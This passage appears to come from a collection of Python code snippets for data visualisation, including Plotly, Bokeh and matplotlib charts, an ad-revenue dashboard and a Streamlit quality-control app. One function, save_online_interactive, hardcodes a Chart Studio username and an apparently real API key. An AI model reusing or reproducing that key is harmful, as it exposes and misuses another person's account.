logging.debug('Interactive plot saved to:\\n%s', save_to)\n\n with open(save_to, 'w') as int_plot:\n int_plot.write(plotted)\n\n data.drop('Total_Cases', axis=1)","def render_graph(variable, payload):\n\n try:\n climate_data = pd.read_json(payload, orient=\"split\")\n except ValueError:\n climate_data = pd.DataFrame()\n\n log.info(\n f\"Rendering graph for variable={variable} from {frame_summary(climate_data)}\"\n )\n\n fig = default_figure(climate_data, variable)\n\n fig.update_layout(\n margin=go.layout.Margin(\n l=0, # left margin\n r=0, # right margin\n b=0, # bottom margin\n t=0, # top margin\n )\n )\n\n return fig","def offline_plotly_scatter3d(df, x=0, y=1, z=-1):\n data = []\n # clusters = []\n colors = ['rgb(228,26,28)', 'rgb(55,126,184)', 'rgb(77,175,74)']\n\n # df.columns = clean_columns(df.columns)\n\n x = get_array(df, x, default=0)\n y = get_array(df, y, default=1)\n z = get_array(df, z, default=-1)\n for i in range(len(df['name'].unique())):\n name = df['Name'].unique()[i]\n color = colors[i]\n x = x[pd.np.array(df['name'] == name)]\n y = y[pd.np.array(df['name'] == name)]\n z = z[pd.np.array(df['name'] == name)]\n\n trace = dict(\n name=name,\n x=x, y=y, z=z,\n type=\"scatter3d\",\n mode='markers',\n marker=dict(size=3, color=color, line=dict(width=0)))\n data.append(trace)\n\n layout = dict(\n width=800,\n height=550,\n autosize=False,\n title='Iris dataset',\n scene=dict(\n xaxis=dict(\n gridcolor='rgb(255, 255, 255)',\n zerolinecolor='rgb(255, 255, 255)',\n showbackground=True,\n backgroundcolor='rgb(230, 230,230)'\n ),\n yaxis=dict(\n gridcolor='rgb(255, 255, 255)',\n zerolinecolor='rgb(255, 255, 255)',\n showbackground=True,\n backgroundcolor='rgb(230, 230,230)'\n ),\n zaxis=dict(\n gridcolor='rgb(255, 255, 255)',\n zerolinecolor='rgb(255, 255, 255)',\n showbackground=True,\n backgroundcolor='rgb(230, 230,230)'\n ),\n aspectratio=dict(x=1, y=1, z=0.7),\n aspectmode='manual'\n ),\n )\n\n fig = dict(data=data, layout=layout)\n\n # IPython notebook\n # plotly.iplot(fig, filename='pandas-3d-iris', validate=False)\n\n url = plotly.offline.plot(fig, filename='pandas-3d-iris', validate=False)\n return url","def plot_data(indf, prefix='html'):\n list_of_plots = []\n# scatter_matrix(indf)\n# pl.savefig('scatter_matrix.png')\n# list_of_plots.append('scatter_matrix.png')\n\n for col in indf:\n pl.clf()\n# cond = indf[col].notnull()\n# v = indf[cond][col]\n v = indf[col]\n# nent = len(v)\n# hmin, hmax = v.min(), v.max()\n# xbins = np.linspace(hmin,hmax,nent)\n# hmin, hmax, nbin = BOUNDS[col]\n# xbins = np.linspace(hmin, hmax, nbin)\n v.hist(bins=20, histtype='step', normed=True, log=True)\n pl.title(col)\n pl.savefig('%s_hist.png' % col)\n list_of_plots.append('%s_hist.png' % col)\n\n create_html_page_of_plots(list_of_plots, prefix)\n return","def bokeh_dashboard_creator(dataframe):\r\n ############################################\r\n # Revenue, Impressions by Day by Partner\r\n ############################################\r\n \r\n output_file(\"dashboard.html\")\r\n \r\n df = dataframe\r\n df['Day'] = pd.to_datetime(df['Day'])\r\n df = df.fillna(0)\r\n \r\n impressions_list = df.groupby('Day').Impressions.sum().tolist()\r\n revenue_list = df.groupby('Day').Revenue.sum().tolist()\r\n\r\n df_pivot = df.pivot_table(index=['Day'], columns='Partner', \r\n values=['Revenue'], aggfunc='sum')\r\n\r\n df_pivot = df_pivot.fillna(0)\r\n\r\n df_pivot['Impressions'] = impressions_list\r\n df_pivot['Total_Revenue'] = revenue_list\r\n \r\n df_pivot.to_csv(\"revenue-by-day-by-partner.csv\")\r\n df2 = pd.read_csv(\"revenue-by-day-by-partner.csv\", skiprows=2)\r\n \r\n df2['Day'] = pd.to_datetime(df2['Day'])\r\n df2 = df2.fillna(0)\r\n spectral_switch = ['#2b83ba', '#abdda4', '#fdae61']\r\n\r\n df2.columns = ['Day', 'Fyber', 'Fyber_Video', 'MoPub', \r\n 'Impressions', 'Total_Revenue']\r\n\r\n df2['Day'] = pd.to_datetime(df2['Day'])\r\n\r\n source = ColumnDataSource(df2)\r\n\r\n colors=spectral_switch\r\n\r\n partners = [\"Fyber\", \"Fyber_Video\", \"MoPub\"]\r\n\r\n hover = HoverTool(tooltips=\r\n [\r\n ('Date','@Day{ %F }'),\r\n ('MoPub','@MoPub{$0,0.00}'),\r\n ('Fyber Video','@Fyber_Video{$0,0.00}'),\r\n ('Fyber','@Fyber{$0,0.00}'), \r\n ('Total Revenue','@Total_Revenue{$0,0.00}'),\r\n ('Impressions', '@Impressions{0,}'),\r\n ],\r\n\r\n formatters={'Day':'datetime'},\r\n\r\n\r\n )\r\n\r\n p = figure(plot_width=1000, plot_height=400, x_axis_type='datetime', \r\n toolbar_location = 'above', tools=[hover], \r\n y_range = (0, df2['Total_Revenue'].max()+500))\r\n\r\n #Title\r\n p.title.text = 'IMVU Mobile Ad Revenue by Date, Impressions'\r\n p.title.text_font = 'arial'\r\n p.title.text_color = 'gray'\r\n\r\n #Y-Axis\r\n p.yaxis.axis_label = 'Revenue'\r\n p.yaxis.axis_label_text_font = 'arial'\r\n p.yaxis.axis_label_text_font_style = 'bold'\r\n p.yaxis[0].formatter = NumeralTickFormatter(format=\"$0,00.00\")\r\n\r\n #X-Axis\r\n p.xaxis.axis_label = 'Date'\r\n p.xaxis.axis_label_text_font = 'arial'\r\n p.xaxis.axis_label_text_font_style = 'bold'\r\n p.xaxis.major_label_text_color = 'black'\r\n\r\n #Removes X-Grid Line\r\n p.xgrid.grid_line_color = None\r\n\r\n #Tools\r\n p.add_tools(PanTool())\r\n p.add_tools(BoxZoomTool())\r\n p.add_tools(WheelZoomTool())\r\n p.add_tools(ZoomInTool())\r\n p.add_tools(ZoomOutTool())\r\n p.add_tools(ResetTool())\r\n p.add_tools(SaveTool())\r\n p.toolbar.logo = None\r\n\r\n #Misc\r\n p.y_range.start = 0\r\n p.x_range.range_padding = 0.1\r\n p.axis.minor_tick_line_color = None\r\n p.outline_line_color = None\r\n\r\n p.vbar_stack(stackers=partners, x='Day', width=36000000, color=colors, \r\n source=source, legend=[value(x) for x in partners], \r\n name=partners)\r\n\r\n p.extra_y_ranges = {\"Impression_Range\": \r\n Range1d(start=0, end=df2['Impressions'].max()+5000000)}\r\n \r\n p.add_layout(LinearAxis(y_range_name='Impression_Range', \r\n axis_label=\"Impressions\", \r\n axis_label_text_font = 'arial', \r\n axis_label_text_font_style = 'bold', \r\n minor_tick_line_color = None, \r\n formatter = NumeralTickFormatter(format=\"000,000\")), \"right\")\r\n \r\n p.line(x='Day', y='Impressions', source=source, line_width=2, \r\n color='navy', y_range_name = 'Impression_Range', \r\n legend='Impression')\r\n\r\n #Legend Formatting\r\n # p.legend.location = \"top_left\"\r\n p.legend.location = 'top_center'\r\n p.legend.orientation = \"horizontal\"\r\n p.legend.click_policy = 'hide'\r\n \r\n ############################################\r\n # Revenue by Day by Ad Unit Type\r\n ############################################\r\n\r\n df_unittype_pivot = df.pivot_table(index='Day', columns='UnitType', \r\n values='Revenue', aggfunc='sum')\r\n\r\n df_unittype_pivot['Total_Revenue'] = revenue_list\r\n\r\n df_unittype_pivot.to_csv(\"revenue-by-day-by-adtype.csv\")\r\n\r\n df3 = pd.read_csv(\"revenue-by-day-by-adtype.csv\")\r\n\r\n df3['Total_Revenue'].max()\r\n\r\n df3['Day'] = pd.to_datetime(df3['Day'])\r\n\r\n source2 = ColumnDataSource(df3)\r\n ad_type = [\"banner\", \"native\", \"video\"]\r\n pastel_colors = [\"#a8e6cf\", \"#ffd3b6\", \"#ffaaa5\"]\r\n\r\n df3.head(1)\r\n\r\n hover2 = HoverTool(\r\n tooltips=\r\n [\r\n ('Video','@video{$0,0.00}'),\r\n ('Native','@native{$0,0.00}'),\r\n ('Banner','@banner{$0,0.00}'),\r\n ('Total Revenue', '@Total_Revenue{$0,0.00}'),\r\n ('Date','@Day{ %F }'),\r\n ],\r\n\r\n formatters={'Day':'datetime'}\r\n\r\n )\r\n\r\n p2 = figure(plot_width = 1000, plot_height=400, x_axis_type='datetime', \r\n title=\"Ads By Day\", toolbar_location='above', \r\n tools=[hover2], y_range=(0,df3['Total_Revenue'].max()+500))\r\n\r\n p2.vbar_stack(stackers=ad_type, x='Day', width=36000000, color=pastel_colors,\r\n source=source2, legend=[value(x) for x in ad_type], \r\n name=ad_type)\r\n\r\n #Title\r\n p2.title.text = 'IMVU Mobile Ad Revenue by Type, Date'\r\n p2.title.text_font = 'arial'\r\n p2.title.text_color = 'gray'\r\n #p.title.text_font_style = 'bold'\r\n\r\n #Y-Axis\r\n p2.yaxis.axis_label = 'Revenue'\r\n p2.yaxis.axis_label_text_font = 'arial'\r\n p2.yaxis.axis_label_text_font_style = 'bold'\r\n p2.yaxis[0].formatter = NumeralTickFormatter(format=\"$0,00.00\")\r\n\r\n #X-Axis\r\n p2.xaxis.axis_label = 'Date'\r\n p2.xaxis.axis_label_text_font = 'arial'\r\n p2.xaxis.axis_label_text_font_style = 'bold'\r\n p2.xaxis.major_label_text_color = 'black'\r\n\r\n #Removes X-Grid Line\r\n p2.xgrid.grid_line_color = None\r\n\r\n #Tools\r\n p2.add_tools(PanTool())\r\n p2.add_tools(BoxZoomTool())\r\n p2.add_tools(WheelZoomTool())\r\n p2.add_tools(ZoomInTool())\r\n p2.add_tools(ZoomOutTool())\r\n p2.add_tools(ResetTool())\r\n p2.add_tools(SaveTool())\r\n p2.toolbar.logo = None\r\n\r\n #Misc\r\n p2.y_range.start = 0\r\n p2.x_range.range_padding = 0.1\r\n p2.axis.minor_tick_line_color = None\r\n p2.outline_line_color = None\r\n\r\n #Legend Formatting\r\n p2.legend.location = 'top_center'\r\n p2.legend.orientation = \"horizontal\"\r\n p2.legend.click_policy = 'hide'\r\n\r\n ############################################\r\n # Revenue by Day by App\r\n ############################################\r\n\r\n df_app_pivot = df.pivot_table(index='Day', columns='App', \r\n values=['Revenue', 'Impressions'], \r\n aggfunc='sum')\r\n\r\n df_app_pivot.to_csv(\"revenue-by-day-by-app.csv\")\r\n\r\n df4 = pd.read_csv(\"revenue-by-day-by-app.csv\", skiprows=2)\r\n\r\n df4 = df4.fillna(0)\r\n\r\n col_idx = 0\r\n bad_column_list = []\r\n\r\n for c in list(df4.columns):\r\n if df4.loc[0, c] == 0.0:\r\n bad_column_list.append(col_idx)\r\n col_idx += 1\r\n\r\n columns_to_delete = [list(df4.columns)[num] for num in bad_column_list]\r\n\r\n for c in columns_to_delete:\r\n del df4[c]\r\n\r\n df4.columns = [\"Day\", \"IMVU_Android_Impressions\", \"IMVU_iOS_Impressions\", \r\n \"IMVU_Android_Revenue\", \"IMVU_iOS_Revenue\"]\r\n\r\n df4['Day'] = pd.to_datetime(df4['Day'])\r\n\r\n # turn impressions to integer?\r\n\r\n df4[\"Total_Revenue\"] = df4[\"IMVU_Android_Revenue\"] + df4[\"IMVU_iOS_Revenue\"]\r\n df4[\"Total_Impressions\"] = df4[\"IMVU_Android_Impressions\"] + df4[\"IMVU_iOS_Impressions\"]\r\n\r\n os_colors = [\"#ff5d5d\", \"#84b9ef\"]\r\n ad_type = ['IMVU_Android_Revenue', 'IMVU_iOS_Revenue']\r\n\r\n source3 = ColumnDataSource(df4)\r\n\r\n hover3 = HoverTool(\r\n tooltips=\r\n [\r\n ('iOS Revenue','@IMVU_iOS_Revenue{$0,0.00}'),\r\n ('Android Revenue','@IMVU_Android_Revenue{$0,0.00}'),\r\n ('Total Revenue', '@Total_Revenue{$0,0.00}'),\r\n ('Date','@Day{ %F }'),\r\n ],\r\n\r\n formatters={'Day':'datetime'}\r\n\r\n )\r\n\r\n p3 = figure(plot_width = 1000, plot_height=400, x_axis_type='datetime', \r\n title=\"Ads By Day\", toolbar_location='above', \r\n tools=[hover3], y_range=(0,df4['Total_Revenue'].max()+500))\r\n\r\n p3.vbar_stack(stackers=ad_type, x='Day', width=36000000, color=os_colors, \r\n source=source3, alpha=0.6, legend=[value(x) for x in ad_type], \r\n name=ad_type)\r\n\r\n #Title\r\n p3.title.text = 'IMVU Mobile Ad Revenue by App, Date'\r\n p3.title.text_font = 'arial'\r\n p3.title.text_color = 'gray'\r\n #p.title.text_font_style = 'bold'\r\n\r\n #Y-Axis\r\n p3.yaxis.axis_label = 'Revenue'\r\n p3.yaxis.axis_label_text_font = 'arial'\r\n p3.yaxis.axis_label_text_font_style = 'bold'\r\n p3.yaxis[0].formatter = NumeralTickFormatter(format=\"$0,00.00\")\r\n\r\n #X-Axis\r\n p3.xaxis.axis_label = 'Date'\r\n p3.xaxis.axis_label_text_font = 'arial'\r\n p3.xaxis.axis_label_text_font_style = 'bold'\r\n p3.xaxis.major_label_text_color = 'black'\r\n\r\n #Removes X-Grid Line\r\n p3.xgrid.grid_line_color = None\r\n\r\n #Tools\r\n p3.add_tools(PanTool())\r\n p3.add_tools(BoxZoomTool())\r\n p3.add_tools(WheelZoomTool())\r\n p3.add_tools(ZoomInTool())\r\n p3.add_tools(ZoomOutTool())\r\n p3.add_tools(ResetTool())\r\n p3.add_tools(SaveTool())\r\n p3.toolbar.logo = None\r\n\r\n #Misc\r\n p3.y_range.start = 0\r\n p3.x_range.range_padding = 0.1\r\n p3.axis.minor_tick_line_color = None\r\n p3.outline_line_color = None\r\n\r\n #Legend Formatting\r\n # p3.legend.location = \"top_left\"\r\n p3.legend.location = 'top_center'\r\n p3.legend.orientation = \"horizontal\"\r\n p3.legend.click_policy = 'hide' \r\n\r\n from bokeh.layouts import column\r\n \r\n show(column(p, p2, p3))","def build_updated_figures(\n df, relayout_data, selected_age, selected_scatter_graph,\n aggregate, colorscale_name, selected_cow, selected_sex\n):\n global data_3857, data_center_3857, data_4326, data_center_4326\n\n colorscale_transform, aggregate_column = 'linear', 'sex'\n selected = {}\n\n if selected_age:\n selected = {\n 'age': bar_selection_to_query(selected_age, 'age')\n }\n\n array_module = cupy if isinstance(df, cudf.DataFrame) else np\n all_hists_query = build_query(selected)\n\n drop_down_queries = ''\n if selected_sex != -1:\n drop_down_queries = 'sex == @selected_sex'\n\n if selected_cow != -1:\n if len(drop_down_queries) == 0:\n drop_down_queries = 'cow == @selected_cow'\n else:\n drop_down_queries += ' and cow == @selected_cow'\n \n if len(drop_down_queries) > 0:\n df = df.query(drop_down_queries)\n\n isin_mask_scatter = None\n\n if selected_scatter_graph:\n selected_pincp = array_module.array([p['x'] for p in selected_scatter_graph['points']])\n selected_schl = array_module.array([p['y'] for p in selected_scatter_graph['points']])\n pincp_array = df.income.values\n schl_array = df.education.values\n isin_mask1 = array_module.zeros(len(pincp_array), dtype=np.bool)\n isin_mask2 = array_module.zeros(len(schl_array), dtype=np.bool)\n \n stride = 32\n for i in range(0, len(selected_pincp), stride):\n zips_chunk = selected_pincp[i:i+stride]\n isin_mask1 |= array_module.isin(pincp_array, zips_chunk)\n for i in range(0, len(selected_schl), stride):\n zips_chunk = selected_schl[i:i+stride]\n isin_mask2 |= array_module.isin(schl_array, zips_chunk)\n\n isin_mask_scatter = array_module.logical_and(isin_mask1, isin_mask2)\n df_scatter = df[isin_mask_scatter]\n else:\n selected_pincp = None\n selected_schl = None\n df_scatter = df\n \n # if relayout_data is not None:\n transformer_4326_to_3857 = Transformer.from_crs(\"epsg:4326\", \"epsg:3857\")\n def epsg_4326_to_3857(coords):\n return [transformer_4326_to_3857.transform(*reversed(row)) for row in coords]\n coordinates_4326 = relayout_data and relayout_data.get('mapbox._derived', {}).get('coordinates', None)\n\n if coordinates_4326:\n lons, lats = zip(*coordinates_4326)\n lon0, lon1 = max(min(lons), data_4326[0][0]), min(max(lons), data_4326[1][0])\n lat0, lat1 = max(min(lats), data_4326[0][1]), min(max(lats), data_4326[1][1])\n coordinates_4326 = [\n [lon0, lat0],\n [lon1, lat1],\n ]\n coordinates_3857 = epsg_4326_to_3857(coordinates_4326)\n\n position = {\n 'zoom': relayout_data.get('mapbox.zoom', None),\n 'center': relayout_data.get('mapbox.center', None)\n }\n else:\n position = {\n 'zoom': 2.5,\n 'pitch': 0,\n 'bearing': 0,\n 'center': {'lon': data_center_4326[0][0]-100, 'lat': data_center_4326[0][1]-10}\n }\n coordinates_3857 = data_3857\n coordinates_4326 = data_4326\n\n new_coordinates = [\n [coordinates_4326[0][0], coordinates_4326[1][1]],\n [coordinates_4326[1][0], coordinates_4326[1][1]],\n [coordinates_4326[1][0], coordinates_4326[0][1]],\n [coordinates_4326[0][0], coordinates_4326[0][1]],\n ]\n\n\n x_range, y_range = zip(*coordinates_3857)\n x0, x1 = x_range\n y0, y1 = y_range\n\n # Build query expressions\n query_expr_xy = f\"(x >= {x0}) & (x <= {x1}) & (y >= {y0}) & (y <= {y1})\"\n df_map = df_scatter.query(query_expr_xy)\n\n datashader_plot = build_datashader_plot(\n df_scatter.query(all_hists_query) if all_hists_query else df_scatter, aggregate,\n aggregate_column, colorscale_name, colorscale_transform, new_coordinates, position, x_range, y_range)\n\n df_hists = df_map.query(all_hists_query) if all_hists_query else df_map\n # Build indicator figure\n n_selected_indicator = {\n 'data': [{\n 'type': 'indicator',\n 'value': len(\n df_hists\n ),\n 'number': {\n 'font': {\n 'color': text_color\n },\n \"valueformat\": \".0f\"\n }\n }],\n 'layout': {\n 'template': template,\n 'height': row_heights[0],\n 'margin': {'l': 10, 'r': 10, 't': 10, 'b': 10}\n }\n }\n \n query_cache = {}\n\n\n if isinstance(df_map, cudf.DataFrame):\n df_map = df_map.groupby('age')['x'].count().to_pandas()\n else:\n df_map = df_map.groupby('age')['x'].count()\n\n age_histogram = build_histogram_default_bins(\n df_map, 'age', selected, query_cache,'v', colorscale_name, colorscale_transform, aggregate, aggregate_column\n )\n \n \n scatter_graph = scatter_bubble_2d(\n df_hists,'income', 'education', selected, query_cache, colorscale_name, colorscale_transform, aggregate, aggregate_column\n )\n\n scatter_graph['layout'] = {\n 'xaxis': {\n 'title': {\n 'text': \"Income ($)\"\n },\n 'ticktext': list(mappings['income'].values()),\n 'tickvals': list(mappings['income'].keys())\n },\n 'yaxis': {\n 'title': {\n 'text': \"Education Category\"\n },\n 'ticktext': list(mappings['education'].values()),\n 'tickvals': list(mappings['education'].keys())\n },\n 'hovermode': 'closest',\n 'dragmode': 'select',\n 'template': template,\n 'uirevision': True,\n }\n\n return (datashader_plot, age_histogram, scatter_graph,\n n_selected_indicator,)","def save_fig(fig, save_path):\n canvas = FigureCanvasAgg(fig)\n fig.savefig(save_path, format=splitext(save_path)[1][1:])","def main():\r\n df = pd.read_pickle(FILE_PATH)\r\n st.image(LOGO, format='PNG', use_column_width=True)\r\n st.title(\"ARC QC Analytics\")\r\n st.markdown(WELCOME_MSG)\r\n\r\n articleno = st.sidebar.text_area(\"Article No. (enter on separate lines)\",\r\n df['PH Mat. No.'].iloc[0])\r\n articleno = articleno.split('\\n')\r\n df1 = df[df['PH Mat. No.'].isin(articleno)]\r\n charac = st.sidebar.selectbox(\"Characteristic\", df1['Charac.'].unique())\r\n update = st.sidebar.button(\"Update Database\")\r\n\r\n if update:\r\n pickle_data()\r\n\r\n new_df = df1[(df1['Charac.']==charac)].copy()\r\n new_df = coerce_strings(new_df, 'Upper tolerance')\r\n new_df = coerce_strings(new_df, 'Lower tolerance')\r\n new_df = coerce_strings(new_df, 'Avg')\r\n new_df.loc[:, 'Upper tolerance'] = new_df['Upper tolerance'].astype('float')\r\n new_df.loc[:, 'Lower tolerance'] = new_df['Lower tolerance'].astype('float')\r\n new_df.loc[:, 'Avg'] = new_df['Avg'].astype('float')\r\n new_df = new_df.rename(columns={'Order:':'Order'})\r\n\r\n st.header(\"Data\")\r\n st.write(new_df[['Order', 'PH Mat. No.', 'Charac.', 'Upper tolerance',\r\n 'Lower tolerance']])\r\n\r\n st.header(\"Chart\")\r\n strip = px.strip(new_df, x='Order', y='Avg', color='PH Mat. No.',\r\n labels={'Order':'Order No.', 'Avg':charac,\r\n 'PH Mat. No.':'Article Number'})\r\n strip.update_layout(xaxis_type='category')\r\n st.plotly_chart(strip)\r\n\r\n st.header(\"Statistics\")\r\n st.write(new_df.groupby('Order')['Avg'].describe())","def visualize(houses:pd.DataFrame) -> None:\n #price_distribution(houses)\n #prop_types(houses)\n #zip_code(houses)\n #year_built(houses)\n #bed_bath(houses)\n return","def save_online_interactive(fig: go.Figure, name):\n from chart_studio.plotly import plot\n if chart_studio.tools.get_credentials_file().get('username') != 'coltongarelli':\n chart_studio.tools.set_credentials_file(username='coltongarelli', api_key='JEoo9aVmctpeUlByHPU3')\n plot(fig, filename=name, auto_open=True)","def plot_data(df, title=\"normalized Stock prices\", ylabel=\"Price\", xlabel=\"Date\"):\n plt.clf()\n ax = df.plot(title=title, fontsize=12)\n ax.set_xlabel(xlabel)\n ax.set_ylabel(ylabel)\n plt.savefig('files/output/' + title + '.png')","def get_events_per_time_svg(dataframe, parameters=None):\n if parameters is None:\n parameters = {}\n\n x, y = attributes_filter.get_kde_date_attribute(dataframe, parameters=parameters)\n\n gviz = graphs_factory.apply_plot(x, y, variant=\"dates\", parameters={\"format\": \"svg\"})\n\n return get_base64_from_file(gviz)","def bokeh_scatter_maker(df, x_col, y_col, c_col, title, hover_list, to_svg=False):\n\n source = ColumnDataSource(df)\n TOOLS = \"hover,save,pan,box_zoom,reset,wheel_zoom\"\n\n colors = list(reversed(brewer['Reds'][9]))#brewer['RdYlBu'][25]#[\"#75968f\", \"#a5bab7\", \"#c9d9d3\", \"#e2e2e2\", \"#dfccce\", \"#ddb7b1\", \"#cc7878\", \"#933b41\", \"#550b1d\"]\n mapper = LinearColorMapper(palette=colors, low=df[c_col].min(), high=df[c_col].max())\n\n fig = figure(title=title, plot_width=500, plot_height=500, tools=TOOLS, toolbar_location='below')\n\n #creating objects to be added to the figure\n vline = Span(location=0, dimension='height', line_color='red', line_width=1, line_dash='dotted')\n hline = Span(location=0, dimension='width', line_color='grey', line_width=1, line_dash='dotted')\n color_bar = ColorBar(color_mapper=mapper, major_label_text_font_size=\"5pt\",\n ticker=BasicTicker(desired_num_ticks=len(colors)),\n label_standoff=6, border_line_color=None, location=(0, 0))\n\n #adding all elements to the figure plot\n fig.renderers.extend([vline, hline])\n fig.grid.grid_line_color = None\n fig.background_fill_color = None\n fig.xaxis.axis_label = str(x_col)\n fig.yaxis.axis_label = str(y_col)\n fig.scatter(x=x_col,\n y=y_col,\n marker='circle', size=15,\n source=source,\n fill_color={'field': c_col, 'transform': mapper},\n line_color=\"navy\", alpha=0.5)\n fig.add_layout(color_bar, 'right')\n fig.select_one(HoverTool).tooltips = hover_list\n #fig.select_one(HoverTool).formatters={'Gene name' : 'printf', 'Ontology' : 'printf',# use 'printf' formatter}\n if to_svg:\n fig.output_backend = \"svg\"\n\n return fig","def _df_formatter_with_interactive_hint(dataframe, buttons=None):\n key = 'df-' + str(_uuid.uuid4())\n _noninteractive_df_refs[key] = dataframe\n\n # Ensure our last value cache only contains one item.\n _last_noninteractive_df.clear()\n _last_noninteractive_df[key] = dataframe.copy(deep=False)\n\n convert_func = 'convertToInteractive'\n if convert_func not in _output_callbacks:\n _output_callbacks[convert_func] = _output.register_callback(\n convert_func, _convert_to_interactive\n )\n if not buttons:\n buttons = []\n buttons.insert(0, _get_button_html(key))\n return _get_html(dataframe, key, buttons)","def to_svg(self, outfile, scaling, precision, attributes):\n outfile.write('<g id=\"')\n outfile.write(self.name.replace(\"#\", \"_\"))\n outfile.write('\" ')\n outfile.write(attributes)\n outfile.write(\">\\n\")\n for polygon in self.polygons:\n polygon.to_svg(outfile, scaling, precision)\n for path in self.paths:\n path.to_svg(outfile, scaling, precision)\n for label in self.labels:\n label.to_svg(outfile, scaling, precision)\n for reference in self.references:\n reference.to_svg(outfile, scaling, precision)\n outfile.write(\"</g>\\n\")","def plot(figure_or_data, validate=True, **plot_options):\n import plotly.tools\n\n figure = plotly.tools.return_figure_from_figure_or_data(figure_or_data, validate)\n for entry in figure[\"data\"]:\n if (\"type\" in entry) and (entry[\"type\"] == \"scattergl\"):\n continue\n for key, val in list(entry.items()):\n try:\n if len(val) > 40000:\n msg = (\n \"Woah there! Look at all those points! Due to \"\n \"browser limitations, the Plotly SVG drawing \"\n \"functions have a hard time \"\n \"graphing more than 500k data points for line \"\n \"charts, or 40k points for other types of charts. \"\n \"Here are some suggestions:\\n\"\n \"(1) Use the `plotly.graph_objs.Scattergl` \"\n \"trace object to generate a WebGl graph.\\n\"\n \"(2) Trying using the image API to return an image \"\n \"instead of a graph URL\\n\"\n \"(3) Use matplotlib\\n\"\n \"(4) See if you can create your visualization with \"\n \"fewer data points\\n\\n\"\n \"If the visualization you're using aggregates \"\n \"points (e.g., box plot, histogram, etc.) you can \"\n \"disregard this warning.\"\n )\n warnings.warn(msg)\n except TypeError:\n pass\n\n plot_options = _plot_option_logic(plot_options)\n\n # Initialize API payload\n payload = {\"figure\": figure, \"world_readable\": True}\n\n # Process filename\n filename = plot_options.get(\"filename\", None)\n if filename:\n # Strip trailing slash\n if filename[-1] == \"/\":\n filename = filename[0:-1]\n\n # split off any parent directory\n paths = filename.split(\"/\")\n parent_path = \"/\".join(paths[0:-1])\n filename = paths[-1]\n\n # Create parent directory\n if parent_path:\n file_ops.ensure_dirs(parent_path)\n payload[\"parent_path\"] = parent_path\n\n payload[\"filename\"] = filename\n else:\n parent_path = \"\"\n\n # Process sharing\n sharing = plot_options.get(\"sharing\", None)\n if sharing == \"public\":\n payload[\"world_readable\"] = True\n elif sharing == \"private\":\n payload[\"world_readable\"] = False\n elif sharing == \"secret\":\n payload[\"world_readable\"] = False\n payload[\"share_key_enabled\"] = True\n else:\n raise _plotly_utils.exceptions.PlotlyError(SHARING_ERROR_MSG)\n\n # Extract grid\n figure, grid = _extract_grid_from_fig_like(figure)\n\n # Upload grid if anything was extracted\n if len(grid) > 0:\n if not filename:\n grid_filename = None\n elif parent_path:\n grid_filename = parent_path + \"/\" + filename + \"_grid\"\n else:\n grid_filename = filename + \"_grid\"\n\n grid_ops.upload(\n grid=grid,\n filename=grid_filename,\n world_readable=payload[\"world_readable\"],\n auto_open=False,\n )\n\n _set_grid_column_references(figure, grid)\n payload[\"figure\"] = figure\n\n file_info = _create_or_update(payload, \"plot\")\n\n # Compute viewing URL\n if sharing == \"secret\":\n web_url = file_info[\"web_url\"][:-1] + \"?share_key=\" + file_info[\"share_key\"]\n else:\n web_url = file_info[\"web_url\"]\n\n # Handle auto_open\n auto_open = plot_options.get(\"auto_open\", None)\n if auto_open:\n _open_url(web_url)\n\n # Return URL\n return web_url","def save_figure(self, data):\n\n\t\tsizes = np.shape(data)\n\t\tfig = plt.figure()\n\t\tfig.set_size_inches(1, 1. * sizes[0]/sizes[1], forward = False)\n\t\tax = plt.Axes(fig, [0., 0., 1., 1.])\n\t\tax.set_axis_off()\n\t\tfig.add_axes(ax)\n\t\tax.imshow(data, \"gray\")\n\n\t\t#plt.show()\n\t\tself.plotfile = os.path.join('static', 'Figure' + '.png')\n\t\tplt.savefig(self.plotfile, dpi = sizes[1])","def save_figure(fig, kwargs_dict, ext='.png'):\n filename = filename_from_kwargs(kwargs_dict, ext=ext)\n # Get rid of problematic characters that may have come from\n # column titles etc.\n filename.replace('/', 'over')\n filename.replace('\\\\', 'over')\n savepath = os.path.abspath(os.path.join(constants.plots_dir, filename))\n fig.savefig(savepath)\n print(f'Saved figure at\\n{savepath}')","def create_plot(df):\n sns.set_style(\"whitegrid\")\n df_reverse = df.iloc[::-1]\n ax = sns.displot(df_reverse, x=\"Report Date\", height=6, aspect=12/6, color=\"mediumseagreen\", edgecolor=\"darkgreen\")\n ax.set(xlabel=\"Report Date\", ylabel=\"Number of cases\")\n plt.title(\"Number of confirmed cases vs reported month\", y=0.85, fontsize=16)\n return plt.savefig(\"../images/fig3\"), plt.close()","def plotlyfromjson(fpath):\n with open(fpath, 'r') as f:\n v = json.loads(f.read().encode().decode())\n\n fig = go.Figure(data=v['data'], layout=v['layout'])\n return fig\n # iplot(fig, show_link=False)","def plotly_scatter_plot_chart():\n df = read_dataset(Path('..', '..', 'iris.csv'))\n\n model_data = cluster_iris_dataset_again()\n df['clusters'] = model_data['clusters']\n\n fig = px.scatter(df, x=\"sepal_width\", y=\"sepal_length\", color=\"clusters\")\n\n return fig","def fig_response(fig):\n img_bytes = io.BytesIO()\n fig.savefig(img_bytes)\n img_bytes.seek(0)\n return send_file(img_bytes, mimetype='image/png')","def create_sensor_characteristic_scatters(df, fig_path):\n\n # Create the file path if it does not yet exist\n if not os.path.exists(fig_path):\n print(\"making directory \" + fig_path + \"...\")\n os.makedirs(fig_path)\n\n # List of sensor characteristics to see distribution of\n sensor_characteristics = [\n \"noise_per_sensor\",\n \"initial_bias\",\n \"bias_factor\",\n \"phi_drift\",\n \"drift_multiplier_start\",\n \"drift_multiplier_end\",\n \"noise_max\",\n ]\n\n # Create a plot for each combination of the sensor characteristics specified\n for i, sensor_characteristic_y in enumerate(sensor_characteristics):\n for j, sensor_characteristic_x in enumerate(sensor_characteristics):\n fig = px.scatter(\n df,\n x=sensor_characteristic_x + \"_icgm\",\n y=sensor_characteristic_y + \"_icgm\",\n )\n\n fig.update_traces(marker=dict(size=2))\n\n # Save figure\n save_view_fig(\n fig,\n image_type=\"png\",\n figure_name=sensor_characteristic_x\n + \"_\"\n + sensor_characteristic_y\n + \"_sensor_characteristic_distributions\",\n analysis_name=\"icgm-sensitivity-analysis\",\n view_fig=False,\n save_fig=True,\n save_fig_path=fig_path,\n )\n\n return","def draw_figure(els_counted, atts_counted, arg, name=\"\"):\n \n stdout.write(\"... drawing chart\\n\") \n fig_width = max(len(els_counted),len(atts_counted),10)\n fig_height = 6\n if is_filename(name) or name == \"\":\n fig_height *= 2\n fig = plt.figure(figsize=(fig_width,fig_height))\n \n 